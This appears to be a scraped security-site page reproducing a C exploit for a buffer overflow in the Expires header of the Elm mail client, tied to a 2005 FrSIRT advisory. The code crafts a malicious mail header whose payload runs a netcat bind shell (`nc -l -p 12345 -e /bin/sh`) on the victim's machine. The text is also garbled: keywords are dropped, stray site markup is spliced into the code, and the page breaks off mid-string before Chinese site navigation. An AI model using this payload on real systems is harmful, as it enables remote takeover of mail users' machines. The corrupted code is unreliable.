expires:Electronic  Mail  for  UNIX  (Elm)  Expires  Header  Buffer 

Advisory : FrSIRT/ADV-2005-1479
Rated as : Critical

#
#
#
#

# BUFFER 83
# EMAIL "tmpmail"
# STRING "`nc -l -p 12345 -e /bin/sh`&##"
# SYSLOC 0x42041e50
# STRLOC 0x4001a207
# EXTLOC 0x4202b0f0

char expire="\x45\x78\x70\x69\x72\x65\x73\x3A\x20";

( argc, char **argv)
{
char buffer[BUFFER];
char *email = NULL;
char *user = NULL;
i;
long extloc, sysloc, strloc;
FILE *fp;

(argc != 2) {
puts("Usage: ./elmex ");
exit(EXIT_FAILURE);
}

(strlen(argv[1]) > 50) {
puts("[-] Sorry, email address too long!");
exit(EXIT_FAILURE);
}

user = (char *)malloc(strlen(argv[1]));
(!user) {
perror("malloc");
exit(EXIT_FAILURE);
}

email = EMAIL;

mem(user, '\0', strlen(argv[1]));
memcpy(user, argv[1], strlen(argv[1]));

puts("\nExploit for elm email client < 2.5.8 overflow in Expires field");
puts("Tested: Redhat _disibledevent=>sysloc = SYSLOC;
strloc = STRLOC;

mem(buffer, '\0', BUFFER);
memcpy(buffer, expire, strlen(expire));

for(i = strlen(expire); i < 53; i)
*(buffer+i) = 0x41;
for(i = 53; i < 57; i 4)
*(long *)&buffer[i] = sysloc;
for(i = 57; i < 61; i)
*(long *)&buffer[i] = extloc;
for(i = 61; i < 65; i 4)
*(long *)&buffer[i] = strloc;

memcpy(&buffer[65], STRING, strlen(STRING));
buffer[BUFFER] = '\0';

puts("[-] Adding exploit buffer to email");

fp = fopen(email, "w");
(!fp) {
perror("fopen"); free(user);
exit(EXIT_FAILURE);
}

fprf(fp,
"From: User c0ntex  Sun Aug 21 13:37:00 2005\n"
"Return-Path:
 


 

上篇文章: 将强制转型减到最少

下篇文章: 个crackme注册分析

延伸阅读